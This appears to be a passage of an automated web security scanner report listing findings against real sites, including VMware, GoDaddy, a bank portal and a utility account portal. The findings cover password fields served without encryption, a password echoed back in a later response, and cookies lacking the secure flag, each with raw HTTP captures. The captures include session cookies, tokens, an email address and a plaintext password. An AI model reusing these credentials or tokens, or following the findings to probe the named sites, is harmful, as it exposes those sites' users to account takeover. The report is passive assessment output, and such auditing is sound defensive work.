<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">

<head>
<met
...[SNIP]...
</h1>
<form action="/group/vmware/home" method="post" name="login_Form">
<div class="ctrlHolder clearfix">
...[SNIP]...
</label>
<input type="password" size="35" id="login_password" name="password" class="password"></input>
...[SNIP]...
3.170. http://www.vmware.com/virtualization/why-choose-vmware/more-choice-for-your-cloud/pragmatic-aproach.html
Previous  Next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.vmware.com
Path:   /virtualization/why-choose-vmware/more-choice-for-your-cloud/pragmatic-aproach.html

Request

GET /virtualization/why-choose-vmware/more-choice-for-your-cloud/pragmatic-aproach.html HTTP/1.1
Host: www.vmware.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Content-Type: text/html;charset=utf-8
Content-Language: en
Date: Tue, 01 May 2012 03:52:37 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 83204


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">

<head>
<met
...[SNIP]...
</h1>
<form action="/group/vmware/home" method="post" name="login_Form">
<div class="ctrlHolder clearfix">
...[SNIP]...
</label>
<input type="password" size="35" id="login_password" name="password" class="password"></input>
...[SNIP]...
3.171. http://www.vmware.com/vmwarestore/
Previous  Next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.vmware.com
Path:   /vmwarestore/

Request

GET /vmwarestore/ HTTP/1.1
Host: www.vmware.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
X-Powered-By: PHP/5.2.0
Content-Type: text/html; charset=UTF-8
Expires: Tue, 01 May 2012 03:52:07 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Tue, 01 May 2012 03:52:07 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: geoip=%7B%22prop47%22%3A%22%22%2C%22eVar47%22%3A%22%22%2C%22prop42%22%3A%22174.36.218.2%22%2C%22eVar42%22%3A%22174.36.218.2%22%2C%22prop46%22%3A%22vmwarestore%22%2C%22eVar46%22%3A%22vmwarestore%22%2C%22prop45%22%3A%22vmwarestore%22%2C%22eVar45%22%3A%22vmwarestore%22%2C%22prop48%22%3A%22%22%2C%22eVar48%22%3A%22%22%2C%22prop50%22%3A%22%22%2C%22eVar50%22%3A%22%22%2C%22prop49%22%3A%22%22%2C%22eVar49%22%3A%22%22%2C%22prop41%22%3A%22GEOIP____%22%2C%22eVar41%22%3A%22GEOIP____%22%7D
Set-Cookie: TSc99b3e=a3513aa15d9727b90f4b24c886b05e6dabb1f043c06b19c14f9f5de7; Path=/
Content-Length: 115100


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">

<head>
<met
...[SNIP]...
</h1>
<form action="/group/vmware/home" method="post" name="login_Form">
<div class="ctrlHolder clearfix">
...[SNIP]...
</label>
<input type="password" size="35" id="login_password" name="password" class="password"></input>
...[SNIP]...
3.172. http://www.vmware.com/vmwarestore/online-partners.html
Previous  Next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.vmware.com
Path:   /vmwarestore/online-partners.html

Request

GET /vmwarestore/online-partners.html HTTP/1.1
Host: www.vmware.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
X-Powered-By: PHP/5.2.0
Content-Type: text/html; charset=UTF-8
Expires: Tue, 01 May 2012 03:52:08 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Tue, 01 May 2012 03:52:08 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: geoip=%7B%22prop47%22%3A%22%22%2C%22eVar47%22%3A%22%22%2C%22prop42%22%3A%22174.36.218.2%22%2C%22eVar42%22%3A%22174.36.218.2%22%2C%22prop46%22%3A%22vmwarestore%5C%2Fonline-partners%22%2C%22eVar46%22%3A%22vmwarestore%5C%2Fonline-partners%22%2C%22prop45%22%3A%22vmwarestore%5C%2Fonline-partners%22%2C%22eVar45%22%3A%22vmwarestore%5C%2Fonline-partners%22%2C%22prop48%22%3A%22%22%2C%22eVar48%22%3A%22%22%2C%22prop50%22%3A%22%22%2C%22eVar50%22%3A%22%22%2C%22prop49%22%3A%22%22%2C%22eVar49%22%3A%22%22%2C%22prop41%22%3A%22GEOIP____%22%2C%22eVar41%22%3A%22GEOIP____%22%7D
Set-Cookie: TSc99b3e=a3513aa15d9727b90f4b24c886b05e6dabb1f043c06b19c14f9f5de7; Path=/
Content-Length: 79694


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">

<head>
<met
...[SNIP]...
</h1>
<form action="/group/vmware/home" method="post" name="login_Form">
<div class="ctrlHolder clearfix">
...[SNIP]...
</label>
<input type="password" size="35" id="login_password" name="password" class="password"></input>
...[SNIP]...
3.173. http://www.vmware.com/worldwide.html
Previous  Next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.vmware.com
Path:   /worldwide.html

Request

GET /worldwide.html HTTP/1.1
Host: www.vmware.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Content-Type: text/html;charset=utf-8
Content-Language: en
Date: Tue, 01 May 2012 03:53:03 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 79676


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">

<head>
<met
...[SNIP]...
</h1>
<form action="/group/vmware/home" method="post" name="login_Form">
<div class="ctrlHolder clearfix">
...[SNIP]...
</label>
<input type="password" size="35" id="login_password" name="password" class="password"></input>
...[SNIP]...
4. Password returned in later response
Previous  Next

Summary

Severity:   Medium
Confidence:   Tentative
Host:   https://myaccount.flowja.com
Path:   /

Request 1

POST /?p=n&sectid=3 HTTP/1.1
Host: myaccount.flowja.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: https://myaccount.flowja.com/?p=n&sectid=3
Cookie: PHPSESSID=4acldkbh7oei8j6agkd6kgng94
Content-Type: application/x-www-form-urlencoded
Content-Length: 73

user_emailAddress=sa94115%40gmail.com&user_password=123456&submitButton=1

Response 1

HTTP/1.1 200 OK
Date: Mon, 30 Apr 2012 22:31:01 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 15755

                       <head><meta http-equiv="Content-Type" content="text/html; charset=ISO-5529-1" />
                       <meta http-equiv="Refresh" content="1800; url=http://myaccount.flowja.com/?p=logout" />
<meta name="keywo
...[SNIP]...

Request 2

GET /?p=n&sectid=1 HTTP/1.1
Host: myaccount.flowja.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: https://myaccount.flowja.com/
Cookie: PHPSESSID=4acldkbh7oei8j6agkd6kgng94

Response 2

HTTP/1.1 200 OK
Date: Tue, 01 May 2012 00:07:28 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 16060

                       <head><meta http-equiv="Content-Type" content="text/html; charset=ISO-5529-1" />
                       <meta http-equiv="Refresh" content="1800; url=http://myaccount.flowja.com/?p=logout" />
<meta name="keywo
...[SNIP]...
</b> Enter the 8 digit account number as it appears on your statement without dashes, . (I.E. 123456 - 01 would be entered as 12345601.)</td>
...[SNIP]...
5. SSL cookie without secure flag set
Previous  Next

There are 44 instances of this issue:

5.1. https://auctions.godaddy.com/
Previous  Next

Summary

Severity:   Medium
Confidence:   Firm
Host:   https://auctions.godaddy.com
Path:   /

Request 1

GET /?isc=gppt02J007&domain=columbusnetworks.co HTTP/1.1
Host: auctions.godaddy.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response 1

HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 150677
Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/7.0
X-AspNet-Version: 2.0.50727
Set-Cookie: isc=gppt02J007; domain=.godaddy.com; path=/
Set-Cookie: ASP.NET_SessionId=yuo5a455fulkkyr1dq2n4n45; path=/; HttpOnly
Set-Cookie: PCSplitValue1=1; domain=godaddy.com; path=/
Set-Cookie: traffic=cookies=1&referrer=&sitename=auctions.godaddy.com&page=/trpHome.aspx&server=M1PWTDNAMWEB004&status=200 OK&querystring=isc=gppt02J007&domain=columbusnetworks.co&shopper=&privatelabelid=1&isc=gppt02J007&clientip=174.36.218.2&referringpath=; domain=godaddy.com; path=/
X-Powered-By: ASP.NET
Date: Tue, 01 May 2012 00:08:29 GMT
Connection: close


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<!-- pageok Ending Soon -->
<html xmlns="http://www.w3.org/1999/xhtml">
   
...[SNIP]...
5.2. https://jm.rbttnetbank.com/
Previous  Next

Summary

Severity:   Medium
Confidence:   Firm
Host:   https://jm.rbttnetbank.com
Path:   /

Request 1

GET / HTTP/1.1
Host: jm.rbttnetbank.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response 1

HTTP/1.1 200 OK
Connection: close
Date: Tue, 01 May 2012 00:10:09 GMT
Server: Microsoft-IIS/6.0
Response.Expires: -1
Response.CacheControl: no-store
Program: no-cache
X-Powered-By: ASP.NET
Content-Length: 10117
Content-Type: text/html
Expires: Tue, 01 May 2012 00:09:09 GMT
Set-Cookie: ASPSESSIONIDCSTTBDCC=PMDOINBDPLIGILNMEHBDJABH; path=/
Cache-control: private

<link href=styles.css rel=stylesheet>
<script Language="JavaScript">var jStyleSheet="styles.css";</script>
<script Language="JavaScript" src="Print.js"></script>


<html>
<head>
<meta NAME="GEN
...[SNIP]...
5.3. https://my.vmware.com/c/portal/logout
Previous  Next

Summary

Severity:   Medium
Confidence:   Firm
Host:   https://my.vmware.com
Path:   /c/portal/logout

Request 1

GET /c/portal/logout HTTP/1.1
Host: my.vmware.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response 1

HTTP/1.1 302 Moved Temporarily
Location: https://my.vmware.com/web/vmware/login
Content-Type: text/html;charset=UTF-8
Cache-Control: max-age=0
Expires: Tue, 01 May 2012 04:22:08 GMT
Vary: Accept-Encoding
Content-Length: 0
Date: Tue, 01 May 2012 04:22:08 GMT
Connection: close
Set-Cookie: JSESSIONID=8AA93E263296864CAD7B8038EBCEC3D6; Domain=.vmware.com; Path=/; HttpOnly
Set-Cookie: GUEST_LANGUAGE_ID=en_US; Expires=Wed, 01-May-2013 04:22:08 GMT; Path=/
Set-Cookie: COMPANY_ID=""; Domain=.vmware.com; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/
Set-Cookie: ID=""; Domain=.vmware.com; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/
Set-Cookie: PASSWORD=""; Domain=.vmware.com; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/
Set-Cookie: ObFormLoginCookie=wh%3Dweb-prod-sso-1.vmware.com%20wu%3D%2Fgroup%2Fvmware%2Fhome%20wo%3D1%20rh%3Dhttp%3A%2F%2Fmy.vmware.com%20ru%3D%252Fgroup%252Fvmware%252Fhome; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/
Set-Cookie: ObSSOCookie=loggedoutcontinue; Domain=vmware.com; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/
Set-Cookie: TS558d30=9421a00283f7d4cad46fb4250b4e5c4c723fc3f3bed27b3a4f9f63ea; Path=/

5.4. https://my.vmware.com/communities_rest_api/tagCloudService/tagCloud
Previous  Next

Summary

Severity:   Medium
Confidence:   Firm
Host:   https://my.vmware.com
Path:   /communities_rest_api/tagCloudService/tagCloud

Request 1

POST /communities_rest_api/tagCloudService/tagCloud HTTP/1.1
Host: my.vmware.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: application/xml, text/xml, */*; q=0.01
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Content-Type: application/xml; charset=UTF-8
Access-Control-Allow-Origin: *
Access-Control-Allow-Methods: POST
Access-Control-Allow-Headers: Content-Type
Access-Control-Max-Age: 86400
X-Requested-With: XMLHttpRequest
Referer: https://my.vmware.com/web/vmware/evalcenter?p=vmware-vsphere5-ent
Content-Length: 178
Cookie: s_nr=1335320426225; __utma=106857756.1485474146.1335843542.1335843542.1335843948.2; __utmb=106857756.2.10.1335843948; __utmc=106857756; __utmz=106857756.1335843948.2.2.utmcsr=WWW_ProdSelTool_vsphere-standard_LearnMore|utmccn=src-tagged-url|utmcmd=src; first_pv_191807=1; _jsuid=2410290445; s_cc=true; ev6=xss%2Bsql%2Binjection; s_sq=vmwareglobal%3D%2526pid%253Dvmware%252520%25253A%252520products%252520%25253A%252520vsphere%252520%25253A%252520mid-size-and-enterprise-business%252520%25253A%252520overview.html%2526pidt%253D1%2526oid%253Dhttp%25253A//www.vmware.com/go/EvaluatevSphere%2526ot%253DA; s_vi=[CS]v1|27CFADD0051D0829-40000104A02C3C94[CE]; s_evar13=WWW_ProdSelTool_vsphere-standard_LearnMore; __unam=c7447e-13706811b44-1074dca4-1; JSESSIONID=E767A3875242960C32EB925383A61EEA; GUEST_LANGUAGE_ID=en_US; COOKIE_SUPPORT=true; TS558d30=078a81198685974899c734cf0060de03723fc3f3bed27b3a4f9f5c83; myvmware-wwwa-prod=pjfc2X6uYgrPuP+FuADnKD5eFD3y9I857IDHHXuhGu9dLh8habm+vLzPOE3srvQIzYp/Apqc0xQXly4=
Pragma: no-cache
Cache-Control: no-cache

<getTagCloud><taggableTypes>801</taggableTypes><tags>kb</tags><sort>6001</sort><numOfBuckets>10</numOfBuckets><numResults>75</numResults><recursive>true</recursive></getTagCloud>

Response 1

HTTP/1.1 200 OK
Cache-Control: max-age=0
Expires: Tue, 01 May 2012 03:46:25 GMT
X-JAL: 73
Content-Type: text/xml;charset=UTF-8
Vary: Accept-Encoding,User-Agent
X-JSL: D=176652 t=1335843985824052
Content-Length: 9243
Date: Tue, 01 May 2012 03:46:26 GMT
Connection: keep-alive
Set-Cookie: jive.server.info="serverName=communities.vmware.com:serverPort=80:contextPath=:localName=localhost.localdomain:localPort=9001:localAddr=127.0.0.1"; Version=1; Path=/
Set-Cookie: JSESSIONID=025A88512E5F5C9891422A7130C1A850.node0; Path=/
Set-Cookie: BIGipServercommunities-prod-vip-2-pool=1430155530.20480.0000; path=/
Set-Cookie: TS558d30=078a81198685974899c734cf0060de03723fc3f3bed27b3a4f9f5c83; Path=/
Set-Cookie: TS571fa2=078a81198685974899c734cf0060de03723fc3f3bed27b3a4f9f5c83; Path=/localName=localhost.localdomain:localPort=9001:localAddr=127.0.0.1"

<ns2:getTagCloudResponse xmlns:ns2="http://jivesoftware.com/clearspace/webservices"><return><ID>10802</ID><objectType>0</objectType><bucket>9</bucket><count>2449</count><tag>kb</tag></return><return><
...[SNIP]...
5.5. https://my.vmware.com/html/js/barebone.jsp
Previous  Next

Summary

Severity:   Medium
Confidence:   Firm
Host:   https://my.vmware.com
Path:   /html/js/barebone.jsp

Request 1

GET /html/js/barebone.jsp HTTP/1.1
Host: my.vmware.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response 1

HTTP/1.1 200 OK
Expires: Fri, 29 Apr 2022 04:08:19 GMT
Cache-Control: max-age=315360000, public
ETag: "0"
Content-Type: text/html; charset=UTF-8
Date: Tue, 01 May 2012 04:08:19 GMT
Content-Length: 0
Connection: close
Set-Cookie: JSESSIONID=0F2551E12AC2D8F6EF9AC03A2ECA105E; Domain=.vmware.com; Path=/; HttpOnly
Set-Cookie: TS558d30=61f1351adaeae40f8e3bc759be7fba4a723fc3f3bed27b3a4f9f60c2; Path=/

5.6. https://my.vmware.com/html/portal/css.jsp
Previous  Next

Summary

Severity:   Medium
Confidence:   Firm
Host:   https://my.vmware.com
Path:   /html/portal/css.jsp

Request 1

GET /html/portal/css.jsp?browserId=other&themeId=vmware_WAR_vmwaretheme&colorSchemeId=01&minifierType=css&languageId=en_US&b=6011&t=1331340778000 HTTP/1.1
Host: my.vmware.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/css,*/*;q=0.1
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: https://my.vmware.com/web/vmware/evalcenter?p=vmware-vsphere5-ent
Cookie: s_nr=1335320426225; __utma=106857756.1485474146.1335843542.1335843542.1335843948.2; __utmb=106857756.2.10.1335843948; __utmc=106857756; __utmz=106857756.1335843948.2.2.utmcsr=WWW_ProdSelTool_vsphere-standard_LearnMore|utmccn=src-tagged-url|utmcmd=src; first_pv_191807=1; _jsuid=2410290445; s_cc=true; ev6=xss%2Bsql%2Binjection; s_sq=vmwareglobal%3D%2526pid%253Dvmware%252520%25253A%252520products%252520%25253A%252520vsphere%252520%25253A%252520mid-size-and-enterprise-business%252520%25253A%252520overview.html%2526pidt%253D1%2526oid%253Dhttp%25253A//www.vmware.com/go/EvaluatevSphere%2526ot%253DA; s_vi=[CS]v1|27CFADD0051D0829-40000104A02C3C94[CE]; s_evar13=WWW_ProdSelTool_vsphere-standard_LearnMore; __unam=c7447e-13706811b44-1074dca4-1; JSESSIONID=E767A3875242960C32EB925383A61EEA; GUEST_LANGUAGE_ID=en_US; COOKIE_SUPPORT=true; TS558d30=078a81198685974899c734cf0060de03723fc3f3bed27b3a4f9f5c83

Response 1

HTTP/1.1 200 OK
Vary: Accept-Encoding
Expires: Fri, 29 Apr 2022 04:19:37 GMT
Cache-Control: max-age=315360000, public
Last-Modified: Sat, 10 Mar 2012 00:52:58 GMT
ETag: "bd48f65"
Content-Type: text/css
Content-Length: 97028
Date: Tue, 01 May 2012 04:19:37 GMT
Connection: keep-alive
Set-Cookie: JSESSIONID=106D64830BC723CF9DEA10C5229890B2; Domain=.vmware.com; Path=/; HttpOnly
Set-Cookie: TS558d30=9421a00283f7d4cad46fb4250b4e5c4c723fc3f3bed27b3a4f9f63ea; Path=/

body,div,dl,dt,dd,ul,ol,li,h1,h2,h3,h4,h5,h6,pre,form,fieldset,input,textarea,p,blockquote,th,td{margin:0;padding:0;}table{border-collapse:collapse;border-spacing:0;clear:both;}fieldset,img{border-wid
...[SNIP]...
5.7. https://my.vmware.com/web/vmware/evalcenter
Previous  Next

Summary

Severity:   Medium
Confidence:   Firm
Host:   https://my.vmware.com
Path:   /web/vmware/evalcenter

Request 1

GET /web/vmware/evalcenter?p=vmware-vsphere5-ent HTTP/1.1
Host: my.vmware.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://www.vmware.com/products/vsphere/mid-size-and-enterprise-business/overview.html?src=WWW_ProdSelTool_vsphere-standard_LearnMore
Cookie: s_nr=1335320426225; __utma=106857756.1485474146.1335843542.1335843542.1335843948.2; __utmb=106857756.2.10.1335843948; __utmc=106857756; __utmz=106857756.1335843948.2.2.utmcsr=WWW_ProdSelTool_vsphere-standard_LearnMore|utmccn=src-tagged-url|utmcmd=src; first_pv_191807=1; _jsuid=2410290445; s_cc=true; ev6=xss%2Bsql%2Binjection; s_sq=vmwareglobal%3D%2526pid%253Dvmware%252520%25253A%252520products%252520%25253A%252520vsphere%252520%25253A%252520mid-size-and-enterprise-business%252520%25253A%252520overview.html%2526pidt%253D1%2526oid%253Dhttp%25253A//www.vmware.com/go/EvaluatevSphere%2526ot%253DA; s_vi=[CS]v1|27CFADD0051D0829-40000104A02C3C94[CE]; s_evar13=WWW_ProdSelTool_vsphere-standard_LearnMore; __unam=c7447e-13706811b44-1074dca4-1

Response 1

HTTP/1.1 200 OK
Liferay-Portal: Liferay Portal Enterprise Edition 6.0 EE SP1 (Bunyan / Build 6011 / January 13, 2011)
ETag: "376e987d"
Content-Type: text/html;charset=UTF-8
Cache-Control: max-age=0
Expires: Tue, 01 May 2012 03:46:11 GMT
Vary: Accept-Encoding
Content-Length: 67042
Date: Tue, 01 May 2012 03:46:11 GMT
Connection: keep-alive
Set-Cookie: JSESSIONID=E767A3875242960C32EB925383A61EEA; Domain=.vmware.com; Path=/; HttpOnly
Set-Cookie: GUEST_LANGUAGE_ID=en_US; Expires=Wed, 01-May-2013 03:46:11 GMT; Path=/
Set-Cookie: COOKIE_SUPPORT=true; Expires=Wed, 01-May-2013 03:46:11 GMT; Path=/
Set-Cookie: TS558d30=078a81198685974899c734cf0060de03723fc3f3bed27b3a4f9f5c83; Path=/



...[SNIP]...
5.8. https://my.vmware.com/web/vmware/forgot-password
Previous  Next

Summary

Severity:   Medium
Confidence:   Firm
Host:   https://my.vmware.com
Path:   /web/vmware/forgot-password

Request 1

GET /web/vmware/forgot-password HTTP/1.1
Host: my.vmware.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response 1

HTTP/1.1 200 OK
Liferay-Portal: Liferay Portal Enterprise Edition 6.0 EE SP1 (Bunyan / Build 6011 / January 13, 2011)
ETag: "85de2a6c"
Content-Type: text/html;charset=UTF-8
Cache-Control: max-age=0
Expires: Tue, 01 May 2012 04:07:47 GMT
Date: Tue, 01 May 2012 04:07:47 GMT
Content-Length: 18718
Connection: close
Set-Cookie: JSESSIONID=033E00E9E27C042772119D6465E718CF; Domain=.vmware.com; Path=/; HttpOnly
Set-Cookie: GUEST_LANGUAGE_ID=en_US; Expires=Wed, 01-May-2013 04:07:47 GMT; Path=/
Set-Cookie: myvmware-www=VVaYJi1kZYFYv8q/PAtM7dD9uyJpwX8jlchEFGmCEtB6PlnQ9u0RLvyL4fpoKLuzX1McVEKov/TD2A==; path=/
Set-Cookie: TS558d30=61f1351adaeae40f8e3bc759be7fba4a723fc3f3bed27b3a4f9f60c2; Path=/



...[SNIP]...
5.9. https://my.vmware.com/web/vmware/login
Previous  Next

Summary

Severity:   Medium
Confidence:   Firm
Host:   https://my.vmware.com
Path:   /web/vmware/login

Request 1

GET /web/vmware/login HTTP/1.1
Host: my.vmware.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: https://my.vmware.com/web/vmware/forgot-password?username=254erwdgfx
Cookie: s_nr=1335320426225; __utma=106857756.1485474146.1335843542.1335843542.1335843948.2; __utmb=106857756.2.10.1335843948; __utmc=106857756; __utmz=106857756.1335843948.2.2.utmcsr=WWW_ProdSelTool_vsphere-standard_LearnMore|utmccn=src-tagged-url|utmcmd=src; _jsuid=2410290445; s_cc=true; ev6=xss%2Bsql%2Binjection; s_sq=vmwaremyvmwareprod%2C%20vmwareglobal%3D%2526pid%253Dvmware%252520%25253A%252520my%252520%25253A%252520web%252520%25253A%252520forgot-password%2526pidt%253D1%2526oid%253Dhttps%25253A//my.vmware.com/group/vmware/home%2526ot%253DA%26vmwareglobal%3D%2526pid%253Dvmware%252520%25253A%252520products%252520%25253A%252520vsphere%252520%25253A%252520mid-size-and-enterprise-business%252520%25253A%252520overview.html%2526pidt%253D1%2526oid%253Dhttp%25253A//www.vmware.com/go/EvaluatevSphere%2526ot%253DA; s_vi=[CS]v1|27CFADD0051D0829-40000104A02C3C94[CE]; s_evar13=WWW_ProdSelTool_vsphere-standard_LearnMore; __unam=c7447e-13706811b44-1074dca4-1; JSESSIONID=E767A3875242960C32EB925383A61EEA; GUEST_LANGUAGE_ID=en_US; COOKIE_SUPPORT=true; TS558d30=61f1351adaeae40f8e3bc759be7fba4a723fc3f3bed27b3a4f9f60c2; myvmware-wwwa-prod=pjfc2X6uYgrPuP+FuADnKD5eFD3y9I857IDHHXuhGu9dLh8habm+vLzPOE3srvQIzYp/Apqc0xQXly4=; jive.server.info="serverName=communities.vmware.com:serverPort=80:contextPath=:localName=localhost.localdomain:localPort=9001:localAddr=127.0.0.1"; JSESSIONID=025A88512E5F5C9891422A7130C1A850.node0; BIGipServercommunities-prod-vip-2-pool=1430155530.20480.0000; ObSSOCookie=loggedoutcontinue; ObFormLoginCookie=wh%3Dweb-prod-sso-1.vmware.com%20wu%3D%2Fgroup%2Fvmware%2Fhome%20wo%3D1%20rh%3Dhttp%3A%2F%2Fmy.vmware.com%20ru%3D%252Fgroup%252Fvmware%252Fhome

Response 1

HTTP/1.1 200 OK
Liferay-Portal: Liferay Portal Enterprise Edition 6.0 EE SP1 (Bunyan / Build 6011 / January 13, 2011)
ETag: "38f439bc"
Content-Type: text/html;charset=UTF-8
Cache-Control: max-age=0
Expires: Tue, 01 May 2012 04:07:46 GMT
Vary: Accept-Encoding
Content-Length: 24373
Date: Tue, 01 May 2012 04:07:46 GMT
Connection: keep-alive
Set-Cookie: JSESSIONID=9178130F361782F37C3365E4BF9C14DF; Domain=.vmware.com; Path=/; HttpOnly
Set-Cookie: GUEST_LANGUAGE_ID=en_US; Expires=Wed, 01-May-2013 04:07:46 GMT; Path=/
Set-Cookie: TS558d30=61f1351adaeae40f8e3bc759be7fba4a723fc3f3bed27b3a4f9f60c2; Path=/



...[SNIP]...
5.10. https://my.vmware.com/web/vmware/login-education
Previous  Next

Summary

Severity:   Medium
Confidence:   Firm
Host:   https://my.vmware.com
Path:   /web/vmware/login-education

Request 1

GET /web/vmware/login-education HTTP/1.1
Host: my.vmware.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response 1

HTTP/1.1 200 OK
Liferay-Portal: Liferay Portal Enterprise Edition 6.0 EE SP1 (Bunyan / Build 6011 / January 13, 2011)
ETag: "2427e579"
Content-Type: text/html;charset=UTF-8
Cache-Control: max-age=0
Expires: Tue, 01 May 2012 04:21:33 GMT
Date: Tue, 01 May 2012 04:21:33 GMT
Content-Length: 20210
Connection: close
Set-Cookie: JSESSIONID=5C8492362ADCBD817E5F25476461F38F; Domain=.vmware.com; Path=/; HttpOnly
Set-Cookie: GUEST_LANGUAGE_ID=en_US; Expires=Wed, 01-May-2013 04:21:33 GMT; Path=/
Set-Cookie: TS558d30=9421a00283f7d4cad46fb4250b4e5c4c723fc3f3bed27b3a4f9f63ea; Path=/



...[SNIP]...
5.11. https://my.vmware.com/web/vmware/login-partners
Previous  Next

Summary

Severity:   Medium
Confidence:   Firm
Host:   https://my.vmware.com
Path:   /web/vmware/login-partners

Request 1

GET /web/vmware/login-partners HTTP/1.1
Host: my.vmware.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response 1

HTTP/1.1 200 OK
Liferay-Portal: Liferay Portal Enterprise Edition 6.0 EE SP1 (Bunyan / Build 6011 / January 13, 2011)
